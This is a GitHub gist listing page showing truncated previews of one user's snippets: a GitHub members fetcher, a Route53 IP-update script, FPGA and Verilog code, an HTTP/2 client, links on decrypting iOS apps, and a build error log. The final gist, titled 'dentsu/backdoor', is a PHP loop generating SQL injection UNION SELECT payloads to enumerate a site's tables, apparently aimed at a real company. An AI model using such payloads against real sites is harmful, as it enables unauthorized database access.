Skip to content

Instantly share code, notes, and snippets.

@miyukki
miyukki / get-members.js
Created July 6, 2018 07:09
Get GitHub Organization Members
const GitHub = require('github-api');
var gh = new GitHub({
token: '<token>',
});
var getOrganizationMembers = (orgnization, page = 1, members = []) => {
return gh.getOrganization(orgnization).listMembers({ page: page }).then(res => {
members = members.concat(res.data);
@miyukki
miyukki / memo.md
Last active November 21, 2016 17:04
FPGA HDMI 関連メモ
@miyukki
miyukki / url.md
Created July 12, 2016 08:58
Get Adobe FMLE Software w/o Registration
@miyukki
miyukki / cron-upsert-route53-record.sh
Last active October 26, 2015 10:37
家のIPをcronでRoute53に登録する便利スクリプト
#!/bin/sh
ZONE_ID="XXXX"
HOSTNAME="example.com"
IPADDR=`curl http://ipecho.net/plain`
TEMPFILE='/tmp/route53-record.json'
cat << EOS > $TEMPFILE
{
@miyukki
miyukki / gist:f1c33589f921e34b13e9
Created February 5, 2015 06:04
Site for iPhone debug, memory dump
http://www.infointox.net/?p=114
http://www.mandalorian.com/2013/05/decrypting-ios-binaries/
http://timourrashed.com/decrypting-ios-app/
http://cont0f.net/2014-04-lldb-tutorial-ja/#i-2
https://rce64.wordpress.com/2013/01/27/private-decrypting-apps-on-ios-6-multiple-architectures-and-pie/
http://lldb.llvm.org/lldb-gdb.html
http://www.myrepospace.com/profile/chir0student/480556/GNU_Debugger__debugserver_for_iOS_6__7
@miyukki
miyukki / tiny_http2_client.coffee
Created December 10, 2014 07:18
Bad tiny HTTP2 client
HTTP1 = "GET / HTTP/1.1\r\n" +
"Host: nghttp2.org\r\n" +
"Connection: Upgrade, HTTP2-Settings\r\n" +
"Upgrade: h2c-14\r\n" +
"HTTP2-Settings: AAMAAABkAAQAAP__\r\n" +
"Accept: */*\r\n" +
"User-Agent: tiny_client/0.0.1\r\n\r\n"
HOST = 'nghttp2.org'
PORT = 80
@miyukki
miyukki / program.ucf
Last active August 29, 2015 14:10
spartan-3an-blinking-led
NET "CLOCK_50M" LOC = "E12" | IOSTANDARD = LVCMOS33 | PERIOD = 20.000;
NET "LED" LOC = "R20" | IOSTANDARD = LVCMOS33 | DRIVE = 8 | SLEW = SLOW;
module program # (
// Constant
parameter TRUE = 1'b1,
parameter FALSE = 1'b0
)(
input BUTTON_SOUTH,
output LED0
);
reg led_state;
assign LED0 = led_state;
➜ git:(master) ✗ NOKOGIRI_USE_SYSTEM_LIBRARIES=1 sudo gem install nokogiri -- --with-xml2-include=/usr/local/Cellar/libxml2/2.9.1/include/libxml2 --with-xml2-lib=/usr/local/Cellar/libxml2/2.9.1/lib/ --with-xslt-dir=/usr/local/Cellar/libxslt/1.1.28 --with-iconv-include=/usr/local/Cellar/libiconv/1.13.1/include/ --with-iconv-lib=/usr/local/Cellar/libiconv/1.13.1/lib
Building native extensions with: '--with-xml2-include=/usr/local/Cellar/libxml2/2.9.1/include/libxml2 --with-xml2-lib=/usr/local/Cellar/libxml2/2.9.1/lib/ --with-xslt-dir=/usr/local/Cellar/libxslt/1.1.28 --with-iconv-include=/usr/local/Cellar/libiconv/1.13.1/include/ --with-iconv-lib=/usr/local/Cellar/libiconv/1.13.1/lib'
This could take a while...
Building nokogiri using packaged libraries.
ERROR: Error installing nokogiri:
ERROR: Failed to build gem native extension.
/System/Library/Frameworks/Ruby.framework/Versions/2.0/usr/bin/ruby extconf.rb --with-xml2-include=/usr/local/Cellar/libxml2/2.9.1/include/libxml2 --with-xml2-lib=/usr/l
@miyukki
miyukki / gist:ab34ec9263f8cb5b5ebe
Last active August 29, 2015 14:02
dentsu/backdoor
<?php
for($i = 1; $i < 20000; $i++) {
$request = "";
for($j = 0; $j < 99; $j++) {
$i++;
$table_num = sprintf("%05d", $i);
$request .= 'UNION%0dSELECT%0d*%0dfrom%0dtable'.$table_num.'%0d';
echo $table_num.PHP_EOL;
}